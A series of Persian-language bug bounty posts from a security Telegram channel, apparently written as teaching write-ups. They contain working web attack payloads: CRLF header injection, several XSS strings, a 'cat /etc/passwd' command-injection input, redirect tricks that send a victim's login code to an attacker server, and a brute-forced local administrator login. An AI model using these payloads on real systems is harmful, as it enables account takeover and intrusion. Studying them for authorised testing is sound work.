امروزه همونطور که میدونیم داده های زیادی سمت کلاینت ذخیره میشه و سمت سرور معمولا داه کمی نگه داری میشه تا ترافیک شبکه شلوغ نشه
حالا چند نوع ذخیره سازی در سمت کلاینت داریم بریم با هم برسیشون کنیم .🫡

local storge :

توکن ها معمولا در لوکال استورج ذخیره سازی میشود و مکانیزم SOP باعث مانع دسترسی مقدار اون توی دامین های دیگه میشه .

session storage :

دقیقا مثل لوکال استورج ولی مقدارش با بستن تب پاک میشه و نیازه که دوباره لاگین کنیم .

indexedDB :

یه دیتابیس NO SQL که برای اپ های گرافیکی به کار میره , و برای اپ هایی که نیاز به ذخیره و کوئری دارن مفیده .
نکته : ممکنه توی این ذخیره ساز داده حساسی لو برن پس بد نیس یه نگاهی هم بهش بندازی

در نظر داشته باشیم ذخیره اشتباه داده ها سمت کلاینت میتونه اسیب پذیری هم ایجاد کنه و مثلا اگه توکن احراز هویت در لوکال استورج ذخیره بشه یه حمله xss به راحتی اونو میدزده .

@Dagen_security

برای تست CRLF Injection حتماً باید یک پکت معتبر ارسال کنیم.

اگر ورودی ما در ریسپانس و به‌ویژه در هدر Location رفلکت شود، یکی از بهترین و ضروری‌ترین تست‌ها crlf injection است :

/?url=https://sub.com/%0a%0dtest

در این حالت اگر اسیپ پذیر باشد، پکت ما به‌صورت زیر خواهد بود:

Location: https://sub.com/
test

اگر تارگت از ریورس پراکسی استفاده کند، ریورس پراکسی بررسی می‌کند که آیا پکتی که در پاسخ آمده معتبر است یا خیر. چون مقدار test هدر معتبری ندارد، ریورس پراکسی آن را حذف می‌کند و پکت معتبر می‌سازد. اینجاست که ما به‌سادگی اسیپ پذیری را میس میدهیم .

راه‌حل چیه ؟

برای تست CRLF باید همیشه یک هدر معتبر بسازیم و به آن مقدار بدهیم. برای مثال اگر وردی به به این شکل باشد در این چک ریورس پراکسی هدر معتبر در ریسپانس درخواست ظاهر میشود .

/?url=https://sub.com/%0a%0dtest:test%0a%0d

Location : https://sub.com/
test : test

این روش ساده میتواند یک اسیپ پذیری به ما بدهد و ما با باگی که جلوی چشامان است را میس ندهیم .

@Dagen_security

pain ..☕️

دوستان دوپلیکت شدن توی این مسیر یه چیز کاملا عادی و منطقی هستش اینو بدونید اگه دوپ میخورید مشکل از شما و دانشتون نیس فقط و فقط یکی زودتر از شما اون باگو پیدا کرده و خوش شانس تر بوده. نا امید نشید توی دفعات بعدی شما زودتر از بقیه گزارش میدین و بانتی گیرتون میاد 🌷

@Dagen_security

دوستان در طی فرایند ریکان به یه چیزی جالبی رسیدم اگر یک مسیر رو هوک گرفتید برای فاز مثل این :

https://target.com/document/login.php

اگه شما میومدی و این رو فاز میکردی تمام مسیر هایی که بهت میداد استاتوس کد 200 بر میگردونند حتی اگه مسیر یا فایلی وجود نداشت. خب اینجا ما مثلا یه کارایی مثل اضافه کردن user-agent و کم کردن ریت رو به fuff میدیم تا یه رفتار فازمون شبیه مرورگر به نظر بیاد

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -H "My user-agent" -t 10

و یا میتونیم بر اساس سایز فیلتر کنیم

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -fs <size number>

ولی توی این کیس اینا کار نمیکرد و وب اپلیکشن همون رفتارو داشت .

یه چیزی جالبی که به ذهنم رسید این بود که چرا یه ریفرر ولید اضافه نکنم ؟

پس من این دفعه فازمو بهتر کردم و یه ریفرر ولید هم گذاشتم توی کامند ffuf و بر اساس سایز فیلتر کردم

ffuf -u https://target.com/document/FUZZ.php -w raft.txt -H "My user-agent" -H "referrer : https://target.com/document/login.php" -fs <size number>

و اینجوری من فاز بهینه و درستی داشتم و سایز درخواست هام تغیر کرد
حتی شما میتونید هدر کوکی رو اضافه و ممکنه وب اپ بر اساس اون ادرس اونو ست کنه و سایز کانتنت متفاوتی برگردونه 🌷

@Dagen_security

یه ابزار برای جمع اوری ساب دامین ها که از پروایدر ها و ماژول های مختلف ساب میکشه بیرون و در حال توسعه هست😎

آیا RCE همون Command injection فرقشون توی چیه ؟

من اینجام که این موضوعو براتون روشن کنم 🤔

کد اینجکشن (RCE)

ببینید کد انجکشن زیر مجموعه حملات اینجکشنه دلیل به وجود اومدنش اینه که چکر فانکشن یا همون ولیدتور به علت سنیتاز نادرست دستور مخربو اجرا میکنه ولی کد اینجکشن قابلیت هدف گیری تمام فریم ورک و پلاگین ها و غیره ... داره در واقع ما کد برنامه نویسی به مسیر های مختلف وب سابت تزریق میکنیم . مخصوصا جایی هایی که یه چیزی داره سمت سرور چک میشه👀
و کارای مختلفی میشه باهاش کرد که بالاترینش گرفتن شل روی سرور هدفه .

<?php echo 1; ?>

کامند اینجکشن (command injection)

چه زمانی اتفاق میوفته ؟ زمانی که یک api endpoint میاد و ورودی کاربرو مستقیم توی Bash میزاره و باگش خیلی خطرناک تر از RCE هستش و میدونید دیگه میتونیم عین خود ترمینال دستور وارد کنیم و دانلود و حدف کنیم و حتی تغیر بدیم .
نکته : توی این باگ ورودی از کاربر گرفته میشه .

?check_order=cat /etc/passwd

نکته : توی بحث باگ بانتی کافیه شما فقط یه دستور ساده وارد کنید تا آسیب پذیری رو تایید کنید و لزومی نیست که تا شل گرفتن پیش برید .

حالا این دو حمله میتونه هر کدوم یه سری بایپس های ریز و تکنیک های داشته باشه نمونه هایی که توضیح دادم خیلی سیمپل و ساده بودنند و در ادامه مطالبی با این عنوان گذاشته میشه امیدوارم درک خوبی داشته باشید .🌷

@Dagen_security

خب خب میرسیم به بحث جذاب swagger

اول از همه باید بدونیم خود swagger چیه و نحوه کارکردش چیه ؟

یه ابزاره اپن سورس با پیاده سازی های مختلف که به دلوپرها کمک میکنه تا اندپویت ها api رو مستند کنن و راحت تر بفهمن هر نقطه و اندپوینت چه کاری انجام میده . خود swagger یه داکیومت خودکار میسازه و نشون میده که هر کدوم اندپوینت چه وردی و خروجی هایی داره و یه رابط گرافیکی تمیز میسازه👌

نکته : swagger از الگوی طراحی شده REST استفاده میکنه و معمولا هم فرمت json داره .

یک فایل openapi.yaml یا openapi.json داریم که به ما میگه API شما چه مسیرها، پارامترها، ورودی‌ها، خروجی‌ها و رفتارهایی داره.


خب حالا که اینارو فهمیدیم یه هانتر چه سو استفاده ای میتونه ازش بکنه اگه سرور هدف اسیپ پذیر باشه ؟

DOM reflected Xss

ببینید شما وقتی که میخواید رو پیاده سازی کنید برای بارگزاری فایل openapi.json به صورت دیفالت از پارامتر هایی مثل Config_url یا url استفاده میشه که اگر این پارامتر ها درست sanitize نشده باشند ما اسیپ پذیری داریم .

site.com/swagger?config_url=/openapi

site.com/swagger?config_url=<script>alert(1)</script>

ولی توی خیلی از مواقع این برنامه نویس ها اسم پارامتر رو غیر قابل حدس میزارن و عوض میکنن ولی ضرری نداره یه پارامتر فاز سنگین هم روش انجام بدیم و شانس پیدا کردن این اسیپ پذیریو افزایش بدیم 👌



API Identification در Swagger

نمایش کامل مسیرها

توی سووگر به دلیل اینکه تمام مسیرهای api های یک اپلیکشن همه در معرض دید هستند و حتی پارامتر های api های را داریم همین امر میتونه به ما کمک بکنه مسیر های دیگه ای از REST API هایی که به صورت هیدن و مخفی هستند را حدس بزنیم و از مسیر هایی که مستند سازی نشده رو پیدا کنیم

مثال : اگر یک اندپوینت با این ادرس وجود داشته باشه :

/users/{id}/settings/

احتمالا این اندپوینت هم وجود داره که با فاز بدست میاد :

/users/{id}/security/

این باعث میشه ما به یک سری از مسیر ها و اندپوینت ها برسیم که به دلیل پیکربندی نادرست که اطلاعات حساس در آن وجود داشته باشه🤌

دستکاریی و تغیر نقش بدون احزار هویت

اگه به یه صفحه سووگر رسیدید تست کنید که ایا اون صفحه از شما یوزر نیم و پسورد برای احراز هویت میخواد یا نه ؟
تست کنید ایا شما دسترسی و مجوز تغیر اندپوینت های حساس رو دارید و میتونید به مقادیر حساس کاربر دیگری دست پیدا کنید و یا نقش خودتون رو از یوزر عادی سایت به ادمین تغیر بدید ؟👀
نکته : اگه دسترسی برای ما فراهم باشه ضعف در سرور اصلیه نه سووگر🫡

این ها بخشی از چیزی بود که شما باید برای تست یه صفحه سووگر بدونید و مستند سازی سووگر میتونه سرنخ های زیادی برای یک مهاجم داشته باشه امیدوارم به اندازه کافی درک کرده باشید هر چند که بالا آوردن یه آزمایشگاه کوچیک برای سووگر توصیه میشه 😎☕️


@Dagen_security

خب اینجام که در مورد باگی که اخیرا زدم رو باهاتون به اشتراک بزارم که باعث شد مفهوم خوبیو یاد بگیرم 😎


بعد از تکمیل کردن واید ریکان علاقه شدیدی به عمیق شدن توی تارگت و شناسایی باگ های احراز هویت کردم با اینکه درک مکانیزم هر کدومشون سخت تر از یکی دیگه بود ولی باعث شد دید خوبی بگیرم و با شیوه های احراز هویت مدرن اشنا بشم ☺️

در حال چرخ زدن و کلیک کردن روی تموم لینکای توی سایت بودم که یک باتن و لینک توجه منو جلب کرد . در واقع لاگین کردن در یک بخش گیم و بازی وبسایت بود

Login by <TARGET>

سریع تب نتورک مرورگرمو باز کردم و روی لینک کلیک کردم چن تا درخواست توی تب تنورکم اومد که در ادامه دونه دونشو باهم تحلیل میکنیم .

ادرسی که من بازش کردم دقیقا این ادرس بود .

https://www.target.org/game/action/api/accounts/v2/login

این ادرس با جاوا اسکریپ چک میکرد که ایا من لاگین هستم یا ن اگر من لاگین نبودم منو میبرد به ادرس صفحه لاگین و اگر لاگین بودم یک لینک دیگه با جاوا اسکریپت برام میساخت

https://www.target.org/api/v1/connecting/authorize?client_id=examle&redirect_uri=https://www.target.org/game/action/remot_login&des_url=https://www.target.org/

و در ادامه

https://www.target.org/game/action/remot_login?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

وقتی این لینکو نگاه میکنم سوالی که توی ذهنم میاد آیا این OAUTH عه ؟ جوابش میشه نه . چرا ؟ چون oauth پارامتر های مشخصی داره و نمیشه قوانین oauth رو نقض کرد .
پس وب اپلیکشن داره یک مجیک لینک میسازهه که با ریدارکت ما رو انتقال و به اپلیکشن توکنو پاس میده .

اولین کاری که میکنم سرچ کردن مسیری که ریدارکت انجام میشه توی جاوا اسکریپت های وبسایته (ِDOM) اینجا ما میتونیم client_id رو سرچ کنیم و توی این یافته هامون دنبال یه سر نخیم که بتونیم یه خطایی ایجاد کنیم که دریچه ای برامون باز بشه . ولی توی این جستجو چیز جالبی ندیدم .

و کار دوم چیه ؟
توی این کیس ما یه پارامتر داریم به اسم redirect_url و انگار که سرور به پارامتر ریدارکت اعتماد میکنه و توکنو به سمت اون پاس میده هنوز نمیدونیم چه اتفاقی داره میافته ایا این ادرس فیکسه فیکسه یا ما میتونیم توی اون دست ببریم و ادرس سرور یا هاست خودمونو بزاریم تا توکن قربانی به سمت هاست ما بیاد ؟

https://www.target.org/game/action/remot_login

خیلی عجله ای شروع کردم هاستو به هاست خودم تغیر بدم ولی یه 403 خورد تو صورتم🗿
سعی کردم با حوصله روش کار کنم اولین کاری که کردم اینکه ایا میتونم اسکیم رو تغیر بدم ؟ خب نشد. بعدی هاست رو هم نمیشه تغیر داد ایا برنامه نویس رجکس زده ؟
رفتم سراغ پت یعنی این قسمت

/game/action/remot_login

فقط فقط میتونستم بخش اخرو بهش کاراکتر اضافه کنم پس سریع رفتم سراغ این تست ساده

https://www.target.org/game/action/remot_login\@server.me

ایندفعه هیچ گیری روی من نبود و اینتر رو زدم و به سرور من ریدارکت انجام شد و وب اپ گول خورد توی لاگ سرورم همچین ادرسی ارسال شد

https://server.me/?code=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

پس سناریو حمله چی بود ؟

من لینک دوم که دستکاری شده بود رو به قربانی میدادم قربانی اونو توی مرورگرش باز میکرد و اگر تو خود اپ اصلی لاگین بود مراحلش احرازش انجام میشد ولی توکنش توسط مهاجم دزدیده میشد که اسم باگ میشه Account Takeover

امیدوارم این سناریو رو درک کرده باشید و یکی از شیوه های احراز هویت اشنا شده باشید . حمایت فراموش نشه🌷



@Dagen_security

اگه به یک صفحه ای رسیدید که محتوای xml داخل اون قرار داره سریع از کنارش رد نشید

ما یه مبحثی داریم به اسم پارامتر دیسکاوری که روش های مختلفی برای پیدا کردن پارامتر های یه صفحه وجود داره !
توی سناریو بالا طبق مقاله هایی که خونده بودم میدونستم که کانتنت xml تایپ اسیپ پذیری کد مخرب جاوا اسکریپت(XSS) توش اجرا میشه

application/xml

یکی از روش های پارامتر دیسکاوری جمع کردن پارامتر از خود سورس همون صفحس پس اومدم و دونه به دونه پارامتر هارو توی ادرس یه مقدار رندوم بهش دادم یکی از پارامتر ها مقدارش عوض شد ☺️

device.prov.serverName

حالا کافی بود که یه پیلود xss بزارم ✅

/?device.prov.serverName = <script>alert(1)</script>

اتفاقی که اینجا افتاد این بود که نه تنها پیلودم اجرا نشد بلکه به یه خطای جدید خوردم :

xml parsed error !

یه جورایی منطقی بود چون کد جی اس توی اون کانتنت تایپ اجرا نمیشه. پس چی اجرا میشه ؟ افرین SVG

بعد کلی سرچ پیلود نهایی این بود :

<svg xmln="https://www.w3.org/2000/svg/" onload="alert(orign)"></svg>

خیلی مهمه وقتی به اینجور صفحه ها توی ریکان رسیدید یه xss رو اسکیپ نکنید🫡

@Dagen_security

تارگتم از یه نوع authentication متفاوت استفاده میکرد و من مجبور شدم برم راجبش بخونم ☺️

در حال انجام گوگل دورک با سرچ انجنین های مختلف بودم که به یه لینکی رسیدم :

sub.target.net/_layouts/211/bessinus/appLogin.aspx/passReset

وقتی بازش کردم در نگاه اول فک کردم پای یک basic authentication ساده در میونه ولی وقتی به لینک نگاه میکنم خیلی شبیه به یکی از cms های مایکروسافته .
پس یه whatweb روش انداختم و فهمیدم که تارگتم داره Microsoft sharepoint استفاده میکنه .

یه کردنشیال ساده وارد کردم و توی برپ یه نگاهی بهش انداختم توی پکت یه مقدار عجیب و گنگ دیدم

Authentication : NTLM NDUWNIDNWIDNWIBDDDDDD=

پس رفتم تا یه ریسرچ ریزی راجبش بزنم .

NTLM چیه ؟

بعد از ریسرچ متوجه شدم که یه احراز هویته که وقتی ما کرندشیال رو میزنیم ما رو با اکتیو داریکتوری ویندوز احراز میکنه حالا هر NTLM یه دامین داخلی داره که مقدارش توی ولیو مشخصه(توی ربسپانس درخواست باید دیکود بشه با base64)
پس من وقتی مقدار test رو به عنوان یوزر نیم و یه پسورد بهش بدم میره و با دامین داخلی احرازش میکنه و تطابق میده


ولی یه راه دومی هم وجود داره

سرور مایکروسافتی که این پشته یه احراز لوکال مثل ویندوز خودمون داره درسته ؟
ینی مثل کامپیوتر خودمون شخصیه و نمیره با دامین احراز کنه .


پس چون نمیدونیم که اون پشت چخبره و یوزرنیم چیه یه یوزرنیم رو ثابت میگیریم —> administrator
و پسورد رو بروت فرس میکنیم . ولی به این راحتی نبود و یه پسورد خیلی سخت داشت 😕

Username : administrator
password : BRUTE

دیگه داشتم بیخیالش میشدم ولی توی همین حین ریسرچ میکردم
اگه اون راه دومی رو برم ممکنه یه پسورد اسون تر برای لوکال وجود داشته باشه ؟


پس اومدم به طبق دانشی که از قبل داشتم یه تریک ریز زدم :

username : .\administrator
password : BRUTE 

ماموریت با موفقیت انجام شد و وارد پنل شدم پسورد چی بود ؟

username : .\administrator
password : P@ssw0rd ✅

یادتون باشه اگر شما پسوردی که با دامین احراز میشه رو بروت کنید شانستون برای پیداکردن پسورد صحیح تقریبا صفره ولی اگر یوزر نیم رو به این صورت وارد کنید :

.\administrator

دیگه با دامین چک نمیشه و پسوردی که شما میزنی با لوکال احراز میشه که معمولا پسورد سادس.

امیدوارم سناریو رو درک کرده باشید و خیلی مهمه در مورد هر چیزی یه دانش کوچیکی داشته باشید و سرچ کنید تا به هدفتون برسید 🌷

@Dagen_security

یه open redirect داشتم ولی نه یه ریدارکت معمولی ❌


در حال چرخیدن توی قسمت های مختلف سایت بودم و ترافیک رو با برپم انالیز میکردم یه ادرسی توجه منو به خودش جلب کرد که درواقع ریدارکت شدن به دشبوردم بود .

main.target.com/?BaseUrl=https://panel.target.com&S=cb21338a61c9d2dbbe477930eb385c8b

وقتی به لینک نگاه میکنم این لینک داره من به سمت پنلم هدایت میکنه ایا با js داره منو ریدارکت میکنه یا http ?

وقتی برپ رو باز میکنم خبری از 302 نیست پس داره با js هندل میشه پس احتمال وجود xss هم هست
فایلای جاوااسکریپ رو دونه به دونه باز کردم و کلمه کلیدی BaseUrl رو سرچ کردم ورودی من توی window.Location مینشست ولی اسکیم javascript:// ریپلیس میشد . پس من xss نداشتم
ولی ورودی من مستقیما ریدارکت میشد ولی یه پارامتر دیگه هم میگرف به اسم S که من فعلا نمیدونم چیه 😕

اومدم و ادرسو به سایت خودم ریدارکت کردم

main.target.com/?BaseUrl=https://redirect.com&S=cb21338a61c9d2dbbe477930eb385c8b

هیچ اتفاقی نیوفتاد و با یه صفحه خالی رو به رو شدم!

اینجا فهمیدم یه چکی داره انجام میشه که درواقع بهش میگن checksum یا همون HMAC

سوال پیش میاد HMAC چیه ؟
یه پروتکشنه امنیتیه که مقدارش با یه الگوریتم ساخته میشه و اگر با اون مقداری که سرور انتظار داره یکی باشه منو ریدارکت میکنه
پس ما عملا نمیتونیم هاست رو تغیر بدیم چون مقدار HMAC نداریم !

HMAC چجوری ساخته میشد ؟
نا امید نشدم و رفتم سراغ فایلای جاوااسکریپ و بعد از گشتن تمامی سورس ها این لاین از کد جاوااسکریپت نظرمو جلب کرد :

return ($Sed==md5($BaseUrl));

باید متوجه شده باشید که برنامه نویس چه اشتباهی فجیهی رو مرتکب شده هش md5 به عنوان HMAC داره چک میشه 😐

پس به سادگی اومدم و سایت خودمو هش md5 کردم:

echo redirected.com | md5sum 

و به عنوان hmac به پارامتر S پاس دادم و منو ریدارکت درست کرد ✅ , و لینک نهایی این شد :

main.target.com/?BaseUrl=https://redirected.com&S=15d93c231627d89e8b6430988eb21228

درسته که برنامه نویس این کارو به ظاهر یک پروتکشن پیاده سازی کرده بود ولی این روش به تنهایی اصلا کافی و قوی نبود و به راحتی دور میخورد :)

@Dagen_security

DNS Wildcard Learning

اگر وب‌سایتی DNS خود را به‌صورت wildcard تنظیم کرده باشد، بهترین کار انجام name resolution است. ابزار Puredns این کار را برای ما انجام می‌دهد.
کاری که این ابزار انجام می‌دهد، حذف IPهای مربوط به wildcard است. هر ساب‌دامینی که با این IPها مچ شود، دور ریخته می‌شود.

اما مشکل اصلی کجاست؟

وب‌سایت‌ها و دامین‌های مختلف (با کانتکت‌های متفاوت) می‌توانند IP یکسان داشته باشند. ابزارهایی مثل Puredns این موارد را نادیده می‌گیرند (miss می‌کنند).

راه‌حل مشکل:

انجام HTTP filtration با ابزار httpx:

cat sub_domains.txt | httpx -flc <line filter>
با اجرای این دستور می‌توانیم فیلتر را روی محتوای صفحه اعمال کنیم. به این صورت، هر لاینی که در صفحات بیش از بقیه تکرار شده باشد (مثلاً پیام پیش‌فرض هاست)، شناسایی و حذف می‌شود و میس کمتری دارد .

@Dagen_security

وروردی من توی بک تیک بود چجوری تونستم به xss برسم ؟

یکی از باگ تایپای مورد علاقه هر هانتری xss هست. این اسیپ پذیری تست کیس های مخصوص به خودشو داره
مهاجم تلاش میکنه از طریق وردی های وب اپلیکشن مثل فرم ها , پارامتر ها و..
کد مخرب جاوا اسکریپ رو به هر نحوی به وبسایت تزریق کنه.

توی یه کیس خاص ورودی از من از پارامتر executeSearch گرفته میشد

https://target.com/?executeSearch=test

وقتی مقدار تست رو توی سورس کد سرچ کردم وروردی من دقیقا توی این کد و داخل بک تیک رفلکت شده بود .!

<script type="text/javascript">
let search = `test`;
</script>

وقتی چشمم به این تکه کد میخوره دو تا راه بیشتر ندارم یا باید با گذاشتن خود بک تیک بریک کنم و یا تگ اسکریپ رو ببندیدم . ولی اصلا جوابگو نبود و تارگت یه بک اسلش به تگ میداد و کلا بک تیک رو هم بر میداشت :)

?executeSearch=test</script>`

خروجی:

let search = test/script;

اما و اما ما یه مفهومی داریم به اسم —> literal template javascript

این مفهوم به ما میگه شما حق داری کد جاوا اسکریپت رو توی بک تیک مستقیما با این سینتکس اجرا کنی و خروجی بگیری .!
پس تنها کاری که لازم بود انجام بدم اینکه یه الرت بزنم و تاییدیه xss رو بگیرم 😎

https://target.com/?executeSearch=${alert(origin)}

با موفقیت الرت خورد و من به xss رسیدم .🫡

نکته ای که وجود داشت اینه که اگه شما دائما در حال خوندن و ریسرچ کردن نباشید و در کنار هانتتون مقاله خوندنو کنار بزارید همچین باگایی رو بیخیال میشید پس سعی کنید زنجیره دانش رو هیچ وقت قطع نکنید .🌷

@Dagen_security